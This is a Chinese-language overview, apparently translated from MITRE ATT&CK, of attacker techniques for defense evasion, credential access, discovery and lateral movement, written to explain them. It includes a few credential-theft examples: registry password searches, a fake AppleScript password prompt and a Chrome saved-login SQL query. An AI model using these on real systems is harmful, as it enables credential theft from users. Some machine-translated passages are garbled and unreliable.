类似于混淆文件或信息(T1027),对手可能会使用防Guardrail和环境密钥来帮助保护其TTP并逃避检测。例如,环境密钥可用于将加密的有效负载传递给目标,该目标将在执行之前使用特定于目标的值来解密有效负载。通过利用特定于目标的值解密有效载荷,对手可以避免将解密密钥与有效载荷一起打包或通过潜在的受监视网络连接发送。根据收集目标特定值的技术,对加密有效负载进行反向工程可能会异常困难。通常,Guardrail可用于防止在不希望受到损害或在其中运行的环境中暴露功能。Guardrail的使用不同于典型的虚拟化/沙盒逃避(T1497),在后者中可以做出不进一步参与的决定,因为对手指定的价值条件是针对特定目标的,而不是使其可能出现在任何环境中。

组策略修改

攻击者可能会修改组策略对象(GPO),以颠覆域的预期的自由访问控制,通常是为了提升域的特权。 组策略允许集中管理Active Directory(AD)中的用户和计算机设置。GPO是用于组策略设置的容器,该组策略设置由存储在可预测网络路径中的文件组成\\SYSVOL\\Policies\。 像AD中的其他对象一样,GPO具有与其关联的访问控制。默认情况下,域中的所有用户帐户都具有读取GPO的权限。可以将GPO访问控制权限(例如写访问权限)委派给域中的特定用户或组。 恶意GPO修改可用于实施计划任务(T1053),禁用安全工具(T1089),远程文件复制(T1105),创建帐户(T1136),服务执行(T1035)等。由于GPO可以控制AD环境中的众多用户和计算机设置,因此,这种GPO滥用可能会导致大量潜在的攻击。可通过修改GPO设置(在本例中为修改)New-GPOImmediateTask来利用公开可用的脚本(例如)来自动执行恶意的计划任务(T1053)\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml。在某些情况下,对手可能会修改特定的用户权限,例如SeEnableDelegationPrivilege(在中设置)\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf,以实现对域的完全控制的微妙的AD后门,因为在对手的控制下的用户帐户便可以修改GPO。

绕过虚拟化/沙盒

攻击者可能会检查是否存在虚拟机环境(VME)或沙箱,以避免潜在地检测到工具和活动。如果对手检测到VME,他们可能会更改其恶意软件以隐藏植入物的核心功能或与受害者分离。他们还可能在丢弃次要或其他有效载荷之前搜索VME工件。攻击者可能会在自动发现过程中使用从虚拟化/沙盒逃避中学到的信息来塑造后续行为。 攻击者可以通过搜索安全监视工具(例如Sysinternals,Wireshark等)来使用包括安全软件发现在内的多种方法来完成虚拟化/沙盒逃避,以帮助确定其是否为分析环境。其他方法包括在恶意软件代码中使用睡眠计时器或循环,以避免在临时沙箱中进行操作

传递后编译

攻击者可能试图通过将文件作为未编译的代码传递给受害者,从而使有效载荷难以发现和分析。与模糊文件或信息(T1027)相似,基于文本的源代码文件可能会破坏针对可执行文件/二进制文件的保护措施的分析和审查。这些有效负载将需要在执行之前进行编译;通常通过本机实用程序,例如csc.exe或GCC/MinGW。 源代码有效载荷也可以被加密,编码和/或嵌入在其他文件中,例如作为鱼叉式附件(T1193)交付的文件。有效载荷也可能以无法识别的格式传递给本机OS(例如,macOS/Linux上的EXE),本质上是良性的,然后再通过捆绑的编译器和执行框架(重新)编译为适当的可执行二进制文件。

PPID欺骗

对手可能会欺骗新进程的父进程标识符(PPID),以逃避进程监视防御或提升特权。除非明确指定,否则通常直接从其父进程或调用进程中产生新进程。显式分配新进程的PPID的一种方法是通过CreateProcessAPI调用,该调用支持定义要使用的PPID的参数。Windows功能(例如,用户帐户控制(UAC))使用此功能来在系统(通常是通过svchost.exe或consent.exe)而不是当前用户上下文生成请求的提升进程后正确设置PPID 。 对手可能滥用这些机制来逃避防御,如阻塞进程直接从Office文档,并分析产卵针对不同寻常的/潜在的恶意父子进程的关系,如欺骗的PPID的PowerShell(T1086)/Rundll32(T1085)是explorer.exe,而不是交付Office文档作为鱼叉附件的(T1193)一部分。可以通过恶意Office文档中的VBA脚本(T1064)或可以通过API(T1106)执行S执行的(T1106)任何代码来执行此欺骗。 明确分配PPID还可以启用特权升级(TA0004)(对父进程具有适当的访问权限)。例如,特权用户上下文中的对手(即管理员)可以产生一个新进程,并将父进程分配为以SYSTEM(例如)身份运行的进程lsass.exe,从而通过继承的访问令牌提升新进程。

web session Cookie

攻击者可以使用被盗的会话cookie来对Web应用程序和服务进行身份验证。由于会话已通过身份验证,因此该技术绕过了一些多因素身份验证协议。 用户对服务进行身份验证后,身份验证cookie通常在Web应用程序(包括基于云的服务)中使用,因此无需传递凭据,也不需要频繁进行重新身份验证。即使没有积极使用Web应用程序,Cookie通常也可以长期有效。通过Steal Web Session Cookie(T1539)获得cookie之后(T1539),对手将cookie导入到他们控制的浏览器中,并且只要会话cookie处于活动状态,便能够以用户身份使用该站点或应用程序。一旦登录到站点,攻击者就可以访问敏感信息,阅读电子邮件或执行受害者帐户有权执行的操作。 PS:有针对会话cookie绕过多因素身份验证系统的恶意软件示例,可自行搜索。
ATT&CK,是在“Kill Chain”模型基础上,针对攻击者行为,构建了一套更细粒度、更易共享的知识模型与框架。 简单来说,ATT&CK是MITRE提供的“对抗战术、技术和常识”框架,是由攻击者在执行攻击时会利用的12种战术和244余种技术组成的精选知识库。(注意:各种技术处于不断更新迭代中) 其中,“战术”指的是ATT&CK的技术原因,是攻击者执行行动的战术目标,涵盖了攻击者在操作期间所做事情的标准和更高级别的表示。 而“技术”指的是攻击者通过执行动作实现战术目标的方式,或者执行动作而获得的内容。在ATT&CK矩阵中可以到看到战术和技术的关系,可能有很多种方法或技术可以实现战术目标,因此每种战术类别有很多种技术。 ATT&CK的战术跟洛克希德·马丁的网络杀伤链不一样,并没有遵循任何线性顺序。相反,攻击者可以随意切换战术来实现最终目标。 从视觉角度来看,MITRE ATT&CK矩阵按照一种易于理解的格式将所有已知的战术和技术进行排列。 如图所示,为ATT&CK官网展示的攻击时已知技术手段的分布,后续将会继续为大家进行讲解哦~
https://attack.mitre.org/

Credential Access 简介

凭据访问(Credential Access)表示造成访问或控制在企业环境中使用的系统,域或服务凭据的技术。攻击者可能会尝试从用户或管理员帐户(具有管理员访问权限的本地系统管理员或域用户)获取合法凭据,以便在网络中使用。这允许攻击者获取帐户的身份,拥有该帐户在系统和网络上的所有权限,并且使防御者更难发现攻击者。利用对网络的足够的访问权限,攻击者可以创建帐户以供将来在该环境中使用。 其主要包含的战术内容如下:

账户操作

帐户操作可以帮助攻击者维持对环境中的凭据和特定权限级别的访问权限。操作可以包括修改权限、修改凭据、添加或更改权限组、修改帐户设置或修改身份验证的执行方式。这些操作还可以包括旨在破坏安全策略的帐户活动,例如重复更新密码来破坏有关密码持续时间的策略并保持已盗取凭据的有效性。攻击者必须在系统或域上具有足够的权限才能创建或操作帐户。

Bash 历史

Bash 使用“history”实用程序跟踪用户在命令行上键入的命令。用户注销后,会将历史记录存到到用户的.bash_history文件中。对于每个用户,此文件位于同一位置:~/.bash_history。通常,此文件会记录用户的最近 500 个命令。通常用户在命令行上键入用户名和密码作为程序的参数,然后在注销时将其保存到此文件中。攻击者可以通过查看文件来查找潜在的凭据来滥用此功能。

暴力破解

当密码未知或者获得密码散列时,攻击者可以使用爆破来尝试访问帐户。 当无法进行哈希传递时,通过凭证转储 (Credential Dumping) 获取密码散列对攻击的作用不大。 攻击者可以利用系统地猜测用于计算散列的密码的技术,也可以使用预先计算的彩虹表。 破解散列通常在目标网络之外的由攻击者控制的系统上进行。 在不知道密码或散列的情况下,攻击者可能会在操作期间利用零知识或者尝试常见的或可能的密码列表,尝试爆破登录。 该选择风险较高,因为它可能会导致无数次身份验证失败并锁定帐户,具体取决于组织的登录失败策略。 相关技术密码喷射使用符合域的复杂性策略一个密码,或小的密码列表,可以是常用密码。 尝试使用该密码和网络上的多个不同帐户登录,以避免帐户锁定,而该情况在暴力尝试使用多个密码登录单一帐户时常常发生。

凭据转储

凭据转储是从操作系统和软件获取帐户登录和密码信息的过程,这些信息通常以散列或明文密码的存储。然后利用凭据进行横向移动从而访问受限信息。 攻击者和专业安全测试人员都可以使用此技术中提到的几种工具。同时可能还有其他自定义工具。

文件中的凭据

攻击者可以在本地文件系统和远程文件共享中搜索包含密码的文件。这些文件可以是用户创建的文件,用于存储自己的凭据、一组用户的共享凭据、包含系统或服务密码的配置文件,或包含嵌入密码的源代码/二进制文件。 可以通过凭据转储 (Credential Dumping) 从备份或保存的虚拟机中提取密码。 密码也可以从 Windows 域控制器上的组策略首选项中获得。

注册表中的凭据

Windows 注册表存储由系统或其他程序使用的配置信息。 攻击者可以查询注册表,以获取已存储的供其他程序或服务使用的凭据和密码。 有时这些凭据用于自动登录。 查找与密码信息相关的注册表项的示例命令: 本机 Hive:reg query HKLM /f password /t REG_SZ /s 当前用户 Hive:reg query HKCU /f password /t REG_SZ /s

凭据访问的利用

软件漏洞利用指的是攻击者利用程序,服务或操作系统软件或内核本身中的编程错误来执行攻击者控制的代码。 攻击者可以利用认证和身份验证机制,从而获取有用的凭据,或者绕过认证过程以获取系统访问权。 其中一个例子是 MS14-068,它以 Kerberos 为目标,可用于通过域用户权限伪造 Kerberos 票证。 对凭据访问的利用还可能导致提权 (Privilege Escalation),具体取决于目标进程或获得的凭据。

强制认证

服务器消息块 (SMB) 协议通常用于 Windows 网络中的身份验证和系统间的通信,以访问资源和文件共享。当 Windows 系统尝试连接到 SMB 资源时,它将自动尝试对当前用户进行身份验证并将凭据信息发送到远程系统。此行为在企业环境中很典型,因此用户无需输入凭据即可访问网络资源。当 SMB 阻塞或失败时,Windows 系统通常使用基于 Web 的分布式编写和版本控制 (WebDAV) 作为备用协议。WebDAV 是 HTTP 的扩展,通常通过 TCP 端口 80 和 443 运行。 攻击者可以利用此行为通过强制 SMB 身份验证访问用户帐户散列。攻击者可以通过鱼叉式网络钓鱼向用户发送附件,其中包含指向攻击者控制的外部服务器的资源链接(即模板注入),或将特制文件放在特权帐户的访问路径(例如放在桌面上的 .SCF 文件)或受害者可访问的公共共享文件中。当用户的系统访问不受信任的资源时,它将尝试身份验证,并通过 SMB 向攻击者控制的服务器发送包括用户散列凭据的信息。通过访问凭据散列,攻击可以执行离线爆破来获得对明文凭据的访问权,或者重用它来进行哈希传递 (Passthe Hash)。 有几种不同的方式可以实现这一点。一些具体的民间使用包括: - 鱼叉式网络钓鱼附件,包含在打开时自动加载的资源的文档。(如,模板注入)。例如,文档可以包含类似于 file
//
/Normal.dotm 的请求来触发 SMB 请求。 - 修改后的。LNK 或。SCF 文件,其图标文件名指向外部引用,如 \
\pic.png 这将强制系统在呈现图标时加载资源以重复收集凭据。

Hook

Windows 进程通常利用应用程序编程接口(API)函数来执行需要可重用系统资源的任务。Windows API 函数通常作为导出函数存储在动态链接库(DLL)中。Hook 涉及将调用重定向到这些功能,可以通过以下方式实现: hook 程序,它拦截并执行指定的代码以响应诸如消息,击键和鼠标输入之类的事件。 导入地址表(IAT)hookk,它修改进程的 IAT,其中存储指向导入的 API 函数的指针。 内联 hook,它覆盖 API 函数中的第一个字节以重定向代码流。


与进程注入类似,攻击者可以使用 hook 在另一个进程的上下文中加载和执行恶意代码,秘密执行的同时还可以访问进程的内存和潜在的高级权限。当通过正常使用调用函数时,安装 hook 机制也可以通过连续调用提供持久性。 恶意 hook 机制还可以捕获 API 调用,其中包含显示 Credential Access 的用户身份验证凭据的参数。 Rootkit 通常使用 hook 来隐藏文件,进程,注册表项和其他对象,以隐藏恶意软件和相关行为。

输入捕获

攻击者可以使用捕获用户输入的方法来获取有效帐户的凭据和收集信息,包括键盘记录和用户输入字段拦截。 键盘记录是最常见的输入捕获类型,有许多不同的方法来拦截击键、 但也有针对特定的目的来获取信息的其他方法,例如执行 UAC 提示或包装 Windows 默认凭据提供程序。­ 当凭据转储(Credential Dumping)无效时,可能会使用键盘记录、 (Keylogging)来获取新访问的凭据,并且可能需要攻击者在机会出现之前在系统上保持一段时间的被动。 攻击者还可以在外部门户(例如 VPN 登录页面)上安装代码,以捕获和传输试图登录到服务的用户的凭据。这种输入捕获上的变体可以在攻击后进行,使用合法的管理访问权作为备份措施来维护通过外部远程服务(External Remote Services)和有效帐户(Valid Accounts)的网络访问,或者通过利用外部 web 服务作为初始攻击的一部分。

输入提示

当执行的程序需要比当前用户上下文中更多的特权时,操作系统通常会提示用户以获取恰当的凭据,以便给任务授权提升特权。 攻击者可以模拟此功能,以正常外观的提示提示用户凭据。 这种类型的提示可以用 AppleScript 实现: set thePassword to the text returned of (display dialog "AdobeUpdater needs permission to check for updates. Please authenticate." default answer "") 攻击者可以出于许多冒充正常使用的原因提示用户,例如需要额外访问权限的虚假安装程序或虚假恶意软件删除套件。

Kerberoasting

服务主体名称 (SPNs) 用于唯一标识 Windows 服务的每个实例。 要启用身份验证,Kerberos 要求 SPNs 至少与一个服务登录帐户(专门负责运行某一服务 的帐户)相关联。 拥有有效 Kerberos 票据授予票据 (TGT) 的攻击者可以为域控制器 (DC) 中的任意 SPN 请求一个或多个 Kerberos 票据授予服务 (TGS) 的服务票据。 这些票据的一部分可能使用 RC4 算法加密,这意味着与 SPN 关联的服务帐户的 Kerberos 5 TGS-REP etype 23 散列被用作私钥,因此很容易受到离线爆破 (Brute Force) 攻击,这种攻击可能会暴露明文凭证。 可以利用从网络流量捕获的服务票据执行相同的攻击。 破解的散列可以通过访问有效帐户 (Valid Accounts) 来获得持久化 (Persistence)、提权 (Privilege Escalation) 和横向移动(Lateral Movement)。

Keychain

Keychain 是 macOS 跟踪用户密码和凭据的内置方法,可用于许多服务和功能,如 WiFi 密码,网站,安全说明,证书和 Kerberos。Keychain 文件位于~/Library/Keychains/,/Library/Keychains/和/Network/Library/Keychains/。
命令行实用程序security,默认情况下内置在 macOS 中,提供了管理这些凭据的有效方法。 要管理其凭据,用户必须使用其他凭据来访问其 Keychai。如果攻击者知道登录 Keychain 的凭据,则他们可以访问存储在此库中的所有其他凭据。
默认情况下,Keychain 的密码是用户的登录凭据。

LLMNR/NBT-NS 中毒

链路本地多播名称解析 (LLMNR) 和 NetBIOS 名称服务 (NBT-NS) 是 Microsoft Windows 组件,可作为主机识别的备用方法。LLMNR 基于域名系统 (DNS) 格式,允许同一本地链路上的主机对其他主机执行名称解析。NBT-NS 通过本地网络上的 NetBIOS 名称来标识系统。 攻击者可以通过响应 LLMNR (UDP 5355)/NBT-NS (UDP 137) 流量来欺骗受害者网络上权威的名称解析源,使其误以为攻击者请求主机的身份,从而有效地污染服务,使受害者能够与攻击者控制的系统通信。如果请求的主机需要标识/身份验证,那么用户名和 NTLMv2 散列将被发送到攻击者控制的系统。然后攻击者可以通过端口流量的监视工具或网络嗅探收集网络中发送的散列信息,并通过离线爆破散列以获得明文密码。 有些工具可用于污染本地网络中的名称服务,如 NBNSpoof、Metasploit 和 Responder。

网络嗅探

网络嗅探是指使用系统上的网络接口来监视或捕获通过有线或无线连接发送的信息。攻击者可以将网络接口设为混杂模式以被动地接受通过网络传输的数据,或者使用跨接端口来捕获更多的数据。 通过该技术捕获的数据可能有用户凭据,尤其是通过不安全的未加密协议发送的凭据。也可以利用名称服务解析中毒技术(例如 LLMNR / NBT-NS 中毒)将流量重定向到攻击者,从而获取网站,代理和内部系统的凭据。 网络嗅探还可以披露配置细节,例如运行服务,版本号以及后续横向移动和/或防御规避活动所需的其他网络特征(例如:IP 寻址,主机名,VLAN ID)。

密码过滤器 DLL

Windows 密码过滤器是用于域和本地帐户的密码策略执行机制。 过滤器实现为动态链接库 (dll),其中包含根据密码策略验证潜在密码的方法。 过滤器 DLL 可以位于本地计算机上,用于本地帐户和/或域帐户的域控制器。 在安全帐户管理器 (SAM) 中注册新密码之前,本地安全机构 (LSA) 向每个已注册的过滤器请求验证。 在每个注册的过滤器确认验证前,任何潜在更改都不会生效。 攻击者可以注册恶意的密码过滤器来从本地计算机和/或整个域获取凭据。 过滤器必须从 LSA 接收明文凭据以执行适当的验证。 恶意密码过滤器在每次密码请求时会接收到这些明文凭据。

私钥

私钥和证书用于身份验证、加密/解密和数字签名。 攻击者可以从被攻击的系统中收集私钥,用于 SSH 等远程服务的身份验证,或用于解密其他收集到的文件如电子邮件。 常见密钥和证书文件扩展名包括: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc. 攻击者也可以查看公共密钥目录,比如基于* unix 系统上的~/.ssh,或 Windows 中的 C:\Users(username).ssh\,以获取 SSH 密钥。 操作私钥需要密码,因此攻击者也可以使用输入捕获 (Input Capture) 来记录密钥或尝试对密码进行离线爆破。 已有可以在被攻击系统中搜索与加密密钥和证书相关的文件扩展名的攻击者工具。

安全内存

在El Capitan之前的OS X中,具有root访问权限的用户可以读取已登录用户的纯文本密钥链密码,因为Apple的密钥链实现允许缓存这些凭据,因此不会反复提示用户输入密码。 Apple的安全实用程序获取用户的登录密码,并使用PBKDF2对其进行加密,然后将该主密钥存储在内存中。苹果还使用一组密钥和算法来加密用户密码,但是一旦找到主密钥,攻击者只需遍历其他值即可解锁最终密码。 如果对手可以获得根访问权限(允许他们读取安全对象的内存),则他们可以在内存中扫描以找到正确的密钥顺序,而尝试解密用户登录密钥链的次数相对较少。这为攻击者提供了用户,WiFi,邮件,浏览器,证书,安全说明等的所有明文密码。

双因素身份验证拦截

建议使用双因素或多因素身份验证,这提供比仅使用用户名和密码更高级别的安全性,但组织应该了解可以用来拦截和绕过这些安全机制的技术。 攻击者可能攻击身份验证机制(如智能卡),以获取对系统,服务和网络资源的访问权限。 如果使用智能卡进行双因素身份验证 (2FA),则在正常使用期间需要使用键盘记录器获取与智能卡关联的密码。 通过插入的卡和对智能卡密码的访问,攻击者可以利用受感染的系统连接到网络资源,并用插入的硬件令牌代理身份验证。 攻击者也可以使用键盘记录程序以类似的方式破解其他硬件令牌,比如 RSA SecurID。 捕获令牌输入(包括用户的个人标识码)可以提供临时访问(即重放一次性密码直到变为下个值),并可能使攻击者可靠地预测未来的身份验证值(给予对算法和用于生成附加临时代码的任何种子值的访问权)。 2FA 的其他方法可能被攻击者拦截并被用于身份验证。 通常通过带外通信(电子邮件、短信)发送一次性代码。 如果设备和/或服务不安全,那么它可能很容易被拦截。 虽然主要集中在网络罪犯,这些认证机制已成为高级攻击者的目标。

Web浏览器凭证

攻击者可以通过读取特定于目标浏览器的文件来从Web浏览器获取凭据。 Web浏览器通常会保存凭据,例如网站用户名和密码,以便将来无需手动输入它们。Web浏览器通常将凭据以加密格式存储在凭据存储区中。但是,存在从Web浏览器中提取纯文本凭据的方法。 例如,在Windows系统上,可以通过读取数据库文件AppData\Local\Google\Chrome\User Data\Default\Login Data并执行SQL查询来从Google Chrome获得加密的凭据SELECT action_url, username_value, password_value FROM logins;。然后,可以通过将加密的凭据传递给Windows API函数来获取纯文本密码CryptUnprotectData,该函数使用受害者的缓存登录凭据作为解密密钥。 攻击者对常见的Web浏览器(例如FireFox,Safari,Edge等)执行了类似的程序。 攻击者还可以通过在Web浏览器进程内存中搜索通常与凭据匹配的模式来获取凭据。 从网络浏览器获取凭据后,攻击者可能会尝试在不同系统和/或帐户之间回收凭据,以扩大访问范围。在从Web浏览器获得的凭据与特权帐户(例如域管理员)重叠的情况下,这可以大大提高对手的目标。

盗取Web会话Cookie

攻击者可能会窃取Web应用程序或服务会话cookie,并以身份验证的用户身份使用它们来获取访问Web应用程序或Internet服务的权限,而无需凭据。用户对网站进行身份验证后,Web应用程序和服务通常将会话cookie用作身份验证令牌。 即使没有积极使用Web应用程序,Cookie通常也可以长期有效。Cookies可以在磁盘上,浏览器的进程内存中以及到远程系统的网络流量中找到。此外,目标计算机上的其他应用程序可能会将敏感的身份验证Cookie存储在内存中(例如,对云服务进行身份验证的应用程序)。会话cookie可用于绕过某些多因素身份验证协议。 有几个通过本地系统上的Web浏览器将Cookie定位为恶意软件的示例。还有诸如Evilginx 2和Mauraena之类的开源框架,它们可以通过中间人代理收集会话cookie,中间人代理可以由对手设置并用于网络钓鱼活动。 对手获取有效的Cookie后,他们可以执行Web会话Cookie(T1506)技术以登录到相应的Web应用程序。

Discovery 简介

披露(Discovery)包括允许攻击者获得有关系统和内部网络的知识的技术。当攻击者获得对新系统的访问权限时,他们必须将自己定位于他们现在可以控制的内容,以及在该入侵期间该系统的操作带来的当前目标或总体目标的好处。操作系统提供了许多本机工具,有助于后渗透的信息收集阶段。 其主要包含的战术内容如下:

账户披露

攻击者可能试图获取本地系统或域帐户的列表。 A. Windows 中可以获取这些信息的示例命令有使用 net 实用程序的 net user、net group 和 net localgroup,还有 dsquery 。如果攻击者试图识别主要用户、当前登录用户或通常使用系统的用户,则可以使用系统所有者/用户披露(System Owner/User Discovery)技术。 B. Mac Mac 中,可以通过 groups 和 id 命令枚举用户组。特别地,在 mac 中,也可以用 dscl . list /Groups 和 dscacheutil -q group 命令枚举组和用户。 C. Linux 在 Linux 中,本地用户可以通过使用/etc/passwd 枚举文件,该文件具有全局可读性。在 mac 中,除了/etc/master.passwd 之外,这个文件只在单用户模式下使用。此外,可以通过 groups 和 id 命令枚举组。

应用窗口披露

攻击者可能会尝试获取正在运行的应用程序窗口列表。窗口列表可以传达有关系统的使用信息,或者为键盘记录器收集的信息提供上下文。 在 Mac 中,这可以在本地使用轻量级 AppleScript 脚本完成。

浏览器书签披露

攻击者可以会枚举浏览器书签以了解更多关于被攻击主机的信息。 浏览器书签可能会显示用户的个人信息(例如:银行站点、兴趣、社交媒体等),以及关于内部网络资源的详细信息,例如服务器、工具/仪表板 (dashboard) 或其他相关基础设施。 在攻击者获得有效凭据的访问权之后,浏览器书签还可以突出其他目标,特别是与浏览器登录缓存的相关联的文件中的凭据 (Credentials in Files)。 特定存储位置因平台和/或应用程序而异,但是浏览器书签通常存储在本地文件/数据库中。

文件和目录披露

攻击者可以枚举文件和目录,或在主机或网络共享的特定位置搜索文件系统内的某些信息。 A. Windows 用于获取此信息的示例实用程序是 dir 和 tree。 也可以用自定义工具来收集文件和目录信息,并与 Windows API 交互。 B. Mac 和 Linux 在 Mac 和 Linux 中,通过 ls、find 和 locate 命令获取信息。

网络服务扫描

攻击者可能会尝试获取在远程主机上运行的服务列表,包括那些可能容易受到远程软件攻击的服务。获取此信息的方法包括使用引入系统的工具进行端口扫描和漏洞扫描。

网络共享披露

网络中通常包含共享的网络驱动器和文件夹,允许用户跨网络访问不同系统上的文件目录。 A. Windows 在 Windows 网络上,系统通过 SMB 协议进行文件共享。 Net 可用来查询远程系统的可用共享驱动器,具体命令为 net view \remotesystem。 还可以使用 net share查询本地系统上的共享驱动器。 攻击者可以查找远程系统上共享的文件夹和驱动器,作为在收集 (Collection) 之前识别要收集的信息源的一种方式,同时识别可用于横向移动的潜在相关系统。 B. Mac 在 Mac 上,可以使用 df -aH命令查看本地挂载的共享。

网络嗅探

网络嗅探是指使用系统上的网络接口来监视或捕获通过有线或无线连接发送的信息。攻击者可以将网络接口设为混杂模式以被动地接受通过网络传输的数据,或者使用跨接端口来捕获更多的数据。 通过该技术捕获的数据可能有用户凭据,尤其是通过不安全的未加密协议发送的凭据。也可以利用名称服务解析中毒技术(例如 LLMNR / NBT-NS 中毒)将流量重定向到攻击者,从而获取网站,代理和内部系统的凭据。 网络嗅探还可以披露配置细节,例如运行服务,版本号以及后续横向移动和/或防御规避活动所需的其他网络特征(例如:IP 寻址,主机名,VLAN ID)。

密码策略披露

网络密码策略强制使用复杂的密码,这些密码很难猜或被爆破。 攻击者可能试图访问企业网络中使用的密码策略的详细信息。 这将帮助攻击者创建一个常见密码的列表,并使用字典和/或爆破,遵守该策略(例如,如果最短密码长度为 8,那就不尝试如“pass123”等密码;对于每个锁定次数为 6 的账户,不尝试超过 3-4 个密码,以避免账户锁定)。 可以在 Windows、Linux 和 macOS 系统上设置和披露密码策略。 外围设备披露 攻击者可能试图收集有关连接到计算机系统的附加外围设备和组件的信息。 这些信息可以提高他们对系统和网络环境的认识,也有助于攻击者进一步的行动。

权限组披露

攻击者可能会尝试查找本地系统或域级别组和权限设置。 A. Windows 可以列出组的命令示例包括使用 Net 实用程序的 net group /domain 和 net localgroup。 B. Mac 在 Mac 上,dscacheutil -q group 用于域, dscl . -list /Groups 用于本地组 。 C. Linux 在 Linux 上,可以使用 groups 命令枚举本地组,通过 ldapsearch 命令枚举域组。

进程披露

攻击者可能试图获取系统运行的进程信息。所获得的信息可用于了解在网络系统上运行的通用软件。 A. Windows 获取进程详细信息的示例命令是"tasklist",使用了 Tasklist 实用程序。 B. Mac 和 Linux 在 Mac 和 Linux 中,使用 ps 命令完成。

查询注册表

攻击者可以与 Windows 注册表交互以收集有关系统,配置和已安装软件的信息。 注册表包含有关操作系统,配置,软件和安全性的大量信息。 一些信息可能有助于攻击者在网络中的进一步行动。

远程系统披露

攻击者可能会尝试通过网络上的 IP 地址,主机名或其他逻辑标识符来获取其他系统的列表,该信息可用于从当前系统进行横向移动。远程访问工具中会存在特定功能来实现这一点,当然也可以使用当前操作系统上可用的工具。

安全软件披露

攻击者可能试图获取系统安装的安全软件、配置、防御工具和传感器的列表。这可能包括本地防火墙规则、反病毒和虚拟化。这些检查可以内置到早期远程访问工具中。 A. Windows 可以用来获取安全软件信息的示例命令有 netsh、Reg 的 reg query、 cmd 的 dir 和 Tasklist,但是披露行为的其他指示器可能对于攻击者正在查找的软件或安全系统类型更准确。 B. Mac macOS 恶意软件对 LittleSnitch 和 KnockKnock 软件的检查越来越普遍。

系统信息披露

攻击者可能会尝试获取有关操作系统和硬件的详细信息,包括版本,补丁,热修复(hotfixes),服务包和体系结构。 A. Windows 获取此信息的示例命令和实用程序包括 cmd 中的 ver、Systeminfo 和 dir,用于基于当前文件和目录识别信息。 B. Mac 在 Mac 上,systemsetup 命令给出了系统的详细分类,但它需要管理员权限。此外,system_profiler 提供了非常详细的配置、防火墙规则、挂载卷、硬件和许多其他内容的详细分类,不需要提升权限。

系统网络配置披露

攻击者可能会查找有关其访问的系统的网络配置和设置的详细信息,或远程系统的完整信息披露。多个操作系统管理工具可以用来收集此类信息。包括 Arp,ipconfig / ifconfig,nbtstat 和 route。

系统所有者/用户披露

A. Windows 攻击者可能会尝试识别主要用户,当前登录的用户,常常使用系统的用户组,或识别用户是否正在使用系统。例如,他们可以通过检索帐户用户名或凭据转储(Credential Dumping)来执行此操作。攻击者可以使用其他披露技术以多种不同方式收集信息,因为用户和用户名详细信息在整个系统中很常见,也包括运行进程所有权,文件/目录所有权,会话信息和系统日志。 B. Mac 在 Mac 上,可以使用 users、w 和 who识别当前登录的用户。 C. Linux 在 Linux 上,可以使用 w 和 who 识别当前登录的用户 。

系统服务披露

攻击者可能会尝试获取有关已注册服务的信息。使用操作系统实用程序获取有关服务的信息的命令有:使用 Tasklist 的 “sc”和“tasklist / svc” ,使用 Net 的 “net start” ,攻击者也可以使用其他工具。

域信任披露

对手可能会尝试收集有关域信任关系的信息,这些信息可用于识别Windows多域/林环境中的横向移动(TA0008)机会。域信任为域提供了一种机制,该机制允许基于另一个域的身份验证过程访问资源。
域信任允许受信任域的用户访问信任域中的资源。发现的信息可以帮助对手进行SID历史记录注入(T1178),通过票证(T1097)和Kerberoasting(T1208)。可以使用DSEnumerateDomainTrusts()Win32 API调用,.NET方法和LDAP来枚举域信任。已知Windows实用工具Nltest(S0359)被对手用来枚举域信任。

绕过虚拟化/沙盒

攻击者可能会检查是否存在虚拟机环境(VME)或沙箱,以避免潜在地检测到工具和活动。如果对手检测到VME,他们可能会更改其恶意软件以隐藏植入物的核心功能或与受害者分离。他们还可能在丢弃次要或其他有效载荷之前搜索VME工件。攻击者可能会在自动发现过程中使用从虚拟化/沙盒逃避中学到的信息来塑造后续行为。 攻击者可以通过搜索安全监视工具(例如Sysinternals,Wireshark等)来使用包括安全软件发现在内的多种方法来完成虚拟化/沙盒逃避,以帮助确定其是否为分析环境。其他方法包括在恶意软件代码中使用睡眠计时器或循环,以避免在临时沙箱中进行操作

软件披露

攻击者可能会尝试获取系统上安装的与安全无关的软件的列表。攻击者可以在自动发现过程中使用来自 软件披露 (T1518)的信息来塑造后续行为,包括攻击者是否完全感染目标和或尝试采取特定行动。

横向移动

横向移动(Lateral Movement)包括使攻击者能够访问和控制网络和云上的远程系统的技术,但不一定包括在远程系统上执行的工具。横向移动技术允许攻击者收集系统信息而无需额外的工具,如远程访问工具。 其主要包含的战术内容如下:

AppleScript

macOS 和 OS X 应用程序相互发送 AppleEvent 消息进行进程间通信 (IPC)。 可以使用 AppleScript 为本地或远程 IPC 轻松编写这些消息。 Osascript 执行 AppleScript 和任何其他开放式脚本编写体系结构 (OSA) 语言脚本。 可以使用 osalang 程序找到安装在系统上的 OSA 语言列表。AppleEvent 消息可以独立发送或作为脚本的一部分发送。 这些事件可以定位打开的窗口,发送击键,并与几乎任何本地或远程打开的应用程序交互。 攻击者可以使用它与打开的 SSH 连接进行交互,移动到远程机器,甚至向用户显示虚假的对话框。 这些事件无法远程启动应用程序(尽管它们可以在本地启动),但可以与远程已运行的程序交互。 由于这是一种脚本语言,因此也可以使用它来启动更常见的技术,比如通过 python 来启动一个反向 shell。 在命令行中通过 osascript /path/to/script 或 osascript -e“script here”运行脚本。

应用部署软件

攻击者可以使用企业管理员使用的应用程序部署系统将恶意软件部署到网络中的系统。此操作所需的权限因系统配置而异;直接访问部署服务器可能需要本地凭据或特定的域凭据。但是,系统可能需要管理帐户才能登录或执行软件部署。 拥有网络范围或企业范围的软件部署系统的访问权限使攻击者能够在与该系统连接的所有系统上执行远程代码。该访问可用于横向移动到系统,收集信息或产生特定效果,例如擦除所有终端上的硬盘。

分布式组件对象模型

